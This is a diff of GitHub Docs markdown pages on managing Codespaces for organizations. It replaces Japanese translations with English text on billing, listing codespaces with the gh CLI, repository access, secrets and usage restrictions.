- /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces
- /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces
guideCards:
- /codespaces/getting-started/deep-dive
- /codespaces/developing-in-codespaces/creating-a-codespace
- /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository
- /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template
- /codespaces/developing-in-codespaces/opening-an-existing-codespace
- /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code
- /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account
- /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code
- /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide
popular:
- /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces
- /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces
- /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
- /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
popularHeading: Set up your project
changelog:
label: codespaces
product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc'
communityRedirect:
name: Provide GitHub Feedback
@@ -49,11 +53,11 @@ children:
- /troubleshooting
- /the-githubdev-web-based-editor
- /guides
ms.openlocfilehash: 078b2c2ba743f2332ffda5a03ba9b0589cfdd12c
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.openlocfilehash: 62723c1d4bf684e67420149c96586a91e7583031
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/09/2022
ms.locfileid: '147652630'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148160435'
---

View File

@@ -1,9 +1,8 @@
---
title: Organization での GitHub Codespaces の有効化
title: Enabling GitHub Codespaces for your organization
shortTitle: 'Enable {% data variables.product.prodname_codespaces %}'
intro: '組織内のどのユーザーが組織の負担で {% data variables.product.prodname_github_codespaces %} を使用できるかを制御できます。'
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To alter an organization''s billing settings, you must be an organization owner.'
intro: "You can control which users in your organization can use {% data variables.product.prodname_github_codespaces %} at the organization's expense."
permissions: "To alter an organization's billing settings, you must be an organization owner."
redirect_from:
- /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization
- /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization
@@ -15,69 +14,70 @@ topics:
- Codespaces
- Billing
- Administrator
ms.openlocfilehash: 97d8b3fce0499ea945c9a2dcfe469759a097d77e
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106486'
---
## Organization での {% data variables.product.prodname_github_codespaces %} の有効化について
組織の所有者は、組織内のどのユーザーが組織の負担で codespace を作成および使用できるかを制御できます。 価格については、「[GitHub Codespaces の請求について](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)」をご覧ください。
## About enabling {% data variables.product.prodname_github_codespaces %} for your organization
リポジトリをクローンできるユーザーのみが、そのリポジトリの codespace を作成できます。 組織によって所有されるリポジトリの codespace をユーザーが作成できるようにするには、次の手順を実行する必要があります。
Organization owners can control which users in your organization can create and use codespaces at the organization's expense. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
- ユーザーが少なくとも、codespace を使用するリポジトリへの書き込みアクセス権を持っていることを確認します。 詳細については、「[リポジトリへのアクセス権を持つ Team と人を管理する](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)」を参照してください。
- 組織で IP アドレスの許可リストが有効になっていないことを確認します。 詳細については、{% ifversion fpt %}{% data variables.product.prodname_ghe_cloud %} ドキュメントの{% else %}{% endif %}「[Organization に対する許可 IP アドレスを管理する](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)」を参照してください。
Only people who can either push changes to a repository, or fork the repository, can create a codespace for that repository. To allow people to create codespaces for repositories owned by your organization, you must:
組織に課金される codespace をユーザーが作成できるようにするには、次の手順を実行する必要があります。
- Ensure that users have at least write access to the repositories where they want to use a codespace. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."
- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
- [使用制限を設定します](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
- [組織に課金される codespace を作成できるユーザーを選ぶ](#choose-who-can-create-codespaces-that-are-billed-to-your-organization)
To allow people to create codespaces for which your organization will be billed, you must:
{% ifversion fpt %} {% note %}
- [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
- [Choose who can create codespaces that are billed to your organization](#choose-who-can-create-codespaces-that-are-billed-to-your-organization)
**注:** 証明済みの教育者または教師の場合、{% data variables.product.prodname_codespaces %} Education 特典を利用するには、{% data variables.product.prodname_classroom %} から {% data variables.product.prodname_codespaces %} を有効にする必要があります。 詳細については、「[GitHub Classroom で GitHub Codespaces を使用する](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)」を参照してください。
{% ifversion fpt %}
{% note %}
{% endnote %} {% endif %}
**Note:** If you are a verified educator or a teacher, you must enable {% data variables.product.prodname_github_codespaces %} from a {% data variables.product.prodname_classroom %} to use your {% data variables.product.prodname_codespaces %} Education benefit. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)."
既定では、codespace はその作成元のリポジトリにのみアクセスできます。 組織内の codespace から、codespace の作成者がアクセスできる他の組織のリポジトリにアクセスできるようにする場合は、「[Organization の codespace に対するリポジトリ アクセスを管理する](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)」を参照してください。
{% endnote %}
{% endif %}
## 組織に課金される codespace を作成できるユーザーを選ぶ
By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)."
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %}
1. [課金] をクリックし、以下のオプションの 1 つを選びます。
## Choose who can create codespaces that are billed to your organization
* **無効** - 組織は codespace の使用に対して課金されません。 組織のリポジトリ用に作成された {% data variables.product.prodname_codespaces %} では、作成した個々のユーザーに対して課金されます。
* **選択したメンバー** - 選択したメンバーによって組織のリポジトリに対して作成された {% data variables.product.prodname_codespaces %} では、組織に対して課金されます。
* **すべてのメンバー** - 組織のメンバーによって組織のリポジトリに対して作成された {% data variables.product.prodname_codespaces %} では、組織に対して課金されます。
* **すべてのメンバーと外部コラボレーター** - 組織のメンバーと外部コラボレーターによって組織のリポジトリに対して作成された {% data variables.product.prodname_codespaces %} では、組織に対して課金されます。
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.click-codespaces %}
1. Under "Billing," select one of the following options:
![[課金] のラジオ ボタン](/assets/images/help/codespaces/codespaces-org-billing-settings.png)
* **Disabled** - Your organization will not be charged for codespace usage. {% data variables.product.prodname_codespaces %} created for your organization's repositories will be billed to the individual users who create them.
* **Selected members** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by selected members will be billed to the organization.
* **All members** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by members of your organization will be billed to the organization.
* **All members and outside collaborators** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by organization members and outside collaborators will be billed to the organization.
![Radio buttons for "Billing"](/assets/images/help/codespaces/codespaces-org-billing-settings.png)
{% note %}
**:** **[すべてのメンバーと外部のコラボレーターに許可する]** を選ぶと、特定のリポジトリに追加されたすべての外部コラボレーターがこれらのリポジトリの {% data variables.product.prodname_codespaces %} を作成して使用でき、組織はこの使用に対して課金されます。 外部コラボレーターの管理の詳細については、「[外部のコラボレーターについて](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)」を参照してください。
**Note:** When you select **All members and outside collaborators**, all outside collaborators who have been added to specific repositories can create and use {% data variables.product.prodname_codespaces %} for those repositories, and your organization will be billed for this usage. For more information on managing outside collaborators, see "[About outside collaborators](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)."
{% endnote %}
1. **[保存]** をクリックします。
1. **[選択したメンバー]** を選んだ場合は、選ぶユーザーの名前を入力するための入力ボックスが表示されます。
1. Click **Save**.
1. If you chose **Selected members**, an input box is displayed for you to enter the names of users you want to select.
![ユーザーを選ぶための入力ボックス](/assets/images/help/codespaces/codespaces-org-billing-add-users.png)
![Input box for selecting users](/assets/images/help/codespaces/codespaces-org-billing-add-users.png)
## Organization の {% data variables.product.prodname_codespaces %} の無効化
## Disabling {% data variables.product.prodname_codespaces %} for your organization
組織に課金できる codespace の作成と使用を防ぐことができます。
You can prevent the creation and use of codespaces billable to your organization.
{% data reusables.codespaces.codespaces-disabling-org-billing %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %}
1. [課金] で、 **[無効]** を選びます。
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.click-codespaces %}
1. Under "Billing," select **Disabled**.
## 利用限度の設定
## Setting a spending limit
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
アカウントの利用制限の管理と変更については、「[{% data variables.product.prodname_codespaces %} の利用制限の管理](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)」を参照してください。
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."

View File

@@ -1,8 +1,8 @@
---
title: Organization の Codespaces を管理する
title: Managing GitHub Codespaces for your organization
allowTitleToDifferFromFilename: true
shortTitle: Managing your organization
intro: 'Organization 内のユーザの {% data variables.product.prodname_github_codespaces %} の使用方法について管理および確認できます。'
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can manage and review how users in your organization can use {% data variables.product.prodname_github_codespaces %}.'
versions:
fpt: '*'
ghec: '*'
@@ -20,11 +20,5 @@ children:
- /restricting-the-visibility-of-forwarded-ports
- /restricting-the-idle-timeout-period
- /restricting-the-retention-period-for-codespaces
ms.openlocfilehash: 98b47ce0337b3309c8318eebef001455a3ec5e52
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/09/2022
ms.locfileid: '147865154'
---

View File

@@ -1,8 +1,7 @@
---
title: 組織内の codespace を一覧表示する
title: Listing the codespaces in your organization
shortTitle: List organization codespaces
intro: 組織に対して現在アクティブになっているまたは停止している codespace をすべて一覧表示できます。
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can list all of the currently active or stopped codespaces for your organization.'
permissions: 'To list all of the current codespaces for your organization, you must be an organization owner.'
versions:
fpt: '*'
@@ -11,36 +10,31 @@ type: how_to
topics:
- Codespaces
- Administrator
ms.openlocfilehash: 1353548a4520cb69eee85437a35804faf6724c68
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106478'
---
## 概要
組織の所有者は、組織に対して現在アクティブになっているまたは停止している codespace をすべて一覧表示できます。 これを行って、ユーザーが作成している codespace の数を確認し、不要なコストが発生していないことを確認することをお勧めします。 価格については、「[GitHub Codespaces の請求について](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)」をご覧ください。
## Overview
組織用の codespace を一覧表示する最も簡単な方法は、{% data variables.product.prodname_cli %} を使用することです。 REST API を使用することもできます。これにより、各 codespace に関する詳しい情報を確認できます。
As an organization owner, you can list all of the currently active and stopped codespaces for your organization. You might want to do this to check how many codespaces users are creating, to make sure they aren't incurring unnecessary costs. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
Organization または Enterprise の現在の合計 {% data variables.product.prodname_codespaces %} 使用量を確認し、詳細なレポートを生成する方法については、「[{% data variables.product.prodname_github_codespaces %} の使用量を表示する](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)」をご覧ください。
The easiest way to list the codespaces for an organization is by using {% data variables.product.prodname_cli %}. You can also use the REST API, which provides more information about each codespace.
### {% data variables.product.prodname_cli %} を使用して codespace を一覧表示する
For information on how to see the current total {% data variables.product.prodname_codespaces %} usage for your organization or enterprise, and generate a detailed report, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
指定した組織に対する現在の codespace をすべて一覧表示するには、次のコマンドを使用します。
### Using {% data variables.product.prodname_cli %} to list codespaces
To list all of the current codespaces for a specified organization, use the following command.
```shell{:copy}
gh codespace list --org ORGANIZATION
```
このコマンドを実行すると、codespace ごとに次の情報を含むリストが返されます。
- 名前と表示名
- codespace を作成したユーザー
- リポジトリとブランチ
- codespace の現在の状態
This command returns a list that includes the following information for each codespace:
- The name and display name
- The user who created the codespace
- The repository and branch
- The current state of the codespace
特定のユーザーによって作成された、組織向けの現在の codespace をすべて一覧表示するには、次のコマンドを使用します。
To list all of the current codespaces for an organization that were created by a specific user, use the following command.
```shell{:copy}
gh codespace list --org ORGANIZATION --user USER
@@ -48,12 +42,12 @@ gh codespace list --org ORGANIZATION --user USER
{% note %}
**注**: 上記のコマンドでは、`ORGANIZATION` を、クエリを実行する組織の名前に置き換えます。 組織の所有者でなければなりません。
**Note**: In the above commands, replace `ORGANIZATION` with the name of the organization you are querying. You must be an owner of the organization.
{% endnote %}
### REST API を使用して codespace を一覧表示する
### Using the REST API to list codespaces
組織に対する現在の codespace を一覧表示する別の方法として、`/orgs/{org}/codespaces` API エンドポイントを使用することもできます。 これを使用すると、{% data variables.product.prodname_cli %} よりも多くの情報が返されます。たとえば、マシンの種類に関する詳しい情報などです。
You can use the `/orgs/{org}/codespaces` API endpoint as an alternative method of listing the current codespaces for an organization. This returns more information than {% data variables.product.prodname_cli %}; for example, the machine type details.
このエンドポイントについて詳しくは、「[Codespaces Organizations](/rest/codespaces/organizations#list-codespaces-for-the-organization)」を参照してください。
For more information about this endpoint, see "[Codespaces organizations](/rest/codespaces/organizations#list-codespaces-for-the-organization)."

View File

@@ -2,7 +2,6 @@
title: リポジトリの暗号化されたシークレットと GitHub Codespaces の Organization を管理する
shortTitle: Encrypted secrets
intro: '暗号化されたシークレットを使用すると、機密情報を Organization、リポジトリ、または {% data variables.product.prodname_github_codespaces %} に保存できます。'
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To manage secrets for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.'
versions:
fpt: '*'
@@ -13,12 +12,12 @@ topics:
- Security
redirect_from:
- /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
ms.openlocfilehash: b57b094fe18a76cb1a7cae3f69858af31d5a4037
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.openlocfilehash: 817ed72e76ddd13846dd9db78f992a1c5dcda101
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148008681'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158622'
---
## シークレットについて

View File

@@ -1,8 +1,7 @@
---
title: Organization codespace に対するリポジトリ アクセスを管理する
title: Managing repository access for your organization's codespaces
shortTitle: Repository access
intro: '{% data variables.product.prodname_github_codespaces %} がアクセスできる Organization 内のリポジトリを管理できます。'
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_github_codespaces %} can access.'
permissions: 'To manage access and security for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.'
versions:
fpt: '*'
@@ -16,29 +15,26 @@ redirect_from:
- /codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces
- /github/developing-online-with-codespaces/managing-access-and-security-for-codespaces
- /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
ms.openlocfilehash: 19c1f8496fd60d08a1c2fb2ed1bc852ea12079aa
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147676681'
---
{% warning %}
**非推奨の注意**: 以下で説明するアクセスとセキュリティの設定は現在非推奨であり、ここには参考用に記載されています。 他のリポジトリへの拡張アクセスを有効にするには、要求されたアクセス許可を `devcontainer.json` 構成ファイルに追加します。 詳しくは、「[codespace 内の他のリポジトリへのアクセスの管理](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)」をご覧ください。
**Deprecation note**: The access and security setting described below is now deprecated and is documented here for reference only. To enable expanded access to other repositories, add the requested permissions to your `devcontainer.json` configuration file. For more information, see "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)."
{% endwarning %}
デフォルト設定では、Codespace は作成されたリポジトリにのみアクセスできます。 Organization が所有するリポジトリのアクセスとセキュリティを有効にすると、そのリポジトリ用に作成された codespace は、Organization が所有する他のすべてのリポジトリの読み取りアクセス権を持つようになり、codespace の作成者にはアクセスのためのアクセス許可があります。 codespace がアクセスできるリポジトリを制限する場合は、codespace が作成されたリポジトリまたは特定のリポジトリのいずれかに制限できます。 信頼するリポジトリに対してのみ、アクセスとセキュリティを有効にしてください。
By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
Organization 内のどのユーザーが {% data variables.product.prodname_github_codespaces %} を使うことができるかを管理するには、「[Organization の GitHub Codespaces を有効にする](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)」をご覧ください。
To manage which users in your organization can use {% data variables.product.prodname_github_codespaces %}, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)."
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %}
1. [Access and security] で、あなたの Organization の設定を選択します。
![信頼するリポジトリを管理するラジオボタン](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
1. [Selected repositories] を選択した場合、ドロップダウンメニューを選択してから、あなたの Organization が所有するその他のリポジトリにアクセスを許可する、リポジトリのコードスペースをクリックします。 その他のリポジトリにコードスペースによるアクセスを許可したい、すべてのリポジトリについて同じ手順を繰り返します。
![[選択したリポジトリ] ドロップダウン メニュー](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.click-codespaces %}
1. Under "Access and security", select the setting you want for your organization.
![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
1. If you chose "Selected repositories", select the dropdown menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
!["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
## 参考資料
## Further reading
- [codespace のリポジトリ アクセスを管理する](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)
- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"

View File

@@ -2,7 +2,6 @@
title: Restricting access to machine types
shortTitle: Restrict machine types
intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization.
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To manage access to machine types for the repositories in an organization, you must be an owner of the organization.'
versions:
fpt: '*'
@@ -14,7 +13,7 @@ topics:
## Overview
Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)."
Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. The compute cost for a codespace is proportional to the number of processor cores in the machine type you choose. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. For more information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
@@ -88,4 +87,4 @@ You can edit an existing policy. For example, you may want to add or remove cons
## Further reading
- "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)"
- "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)"

View File

@@ -2,7 +2,6 @@
title: Restricting the idle timeout period
shortTitle: Restrict timeout periods
intro: You can set a maximum timeout period for any codespaces owned by your organization.
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To manage timeout constraints for an organization''s codespaces, you must be an owner of the organization.'
versions:
fpt: '*'

View File

@@ -2,7 +2,6 @@
title: Restricting the retention period for codespaces
shortTitle: Restrict the retention period
intro: You can set a maximum retention period for any codespaces owned by your organization.
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To manage retention constraints for an organization''s codespaces, you must be an owner of the organization.'
versions:
fpt: '*'

View File

@@ -2,7 +2,6 @@
title: Restricting the visibility of forwarded ports
shortTitle: Restrict port visibility
intro: You can set constraints on the visibility options users can choose when they forward ports from codespaces in your organization.
product: '{% data reusables.gated-features.codespaces %}'
permissions: 'To manage access to port visibility constraints for the repositories in an organization, you must be an owner of the organization.'
versions:
fpt: '*'

View File

@@ -2,7 +2,6 @@
title: Reviewing your organization's audit logs for GitHub Codespaces
shortTitle: Audit logs
intro: 'You can use the audit log to review all actions related to {% data variables.product.prodname_github_codespaces %}.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -26,3 +25,4 @@ The audit log includes details such as who performed the action, what the action
## Further reading
- "[Reviewing your security logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces)"
- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)"

View File

@@ -1,7 +1,6 @@
---
title: Codespaces を管理する
intro: '{% data variables.product.prodname_github_codespaces %} 設定を使用して、codespace に必要な情報を管理できます。'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -14,11 +13,11 @@ children:
- /managing-repository-access-for-your-codespaces
- /reviewing-your-security-logs-for-github-codespaces
- /managing-gpg-verification-for-github-codespaces
ms.openlocfilehash: 6c72368956f8b9904e8451b3afd12e34344841a0
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: e038653047ef1d8ccb7e4a2237c2d6149e7593c9
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147111291'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159999'
---

View File

@@ -1,7 +1,6 @@
---
title: Managing encrypted secrets for your codespaces
intro: 'You can store sensitive information, like tokens, that you want to access in your codespaces via environment variables.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -24,12 +23,12 @@ shortTitle: Encrypted secrets
You can add encrypted secrets to your personal account that you want to use in your codespaces. For example, you may want to store and access the following sensitive information as encrypted secrets.
- {% data variables.product.pat_generic %}s to cloud services
- Access tokens to cloud services
- Service principals
- Subscription identifiers
- [Credentials for a private image registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry)
You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret.
You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret. To share a secret with a codespace created from a template, you will need to publish the codespace to a repository on {% data variables.product.prodname_dotcom %}, then give that repository access to the secret.
{% data reusables.codespaces.secrets-on-start %}

View File

@@ -1,7 +1,6 @@
---
title: Managing GPG verification for GitHub Codespaces
intro: 'You can allow {% data variables.product.company_short %} to automatically use GPG to sign commits you make in your codespaces, so other people can be confident that the changes come from a trusted source.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -27,8 +26,8 @@ Once you enable GPG verification, it will immediately take effect for all your c
{% data reusables.user-settings.codespaces-tab %}
1. Under "GPG verification", select the setting you want for GPG verification.
![Radio buttons to manage GPG verification](/assets/images/help/settings/codespaces-gpg-verification-radio-buttons.png)
1. If you chose "Selected repositories", select the drop-down menu, then click a repository you want enable GPG verification for. Repeat for all repositories you want to enable GPG verification for.
!["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png)
1. If you chose "Selected repositories", select the dropdown menu, then click a repository you want enable GPG verification for. Repeat for all repositories you want to enable GPG verification for.
!["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png)
{% note %}

Some files were not shown because too many files have changed in this diff Show More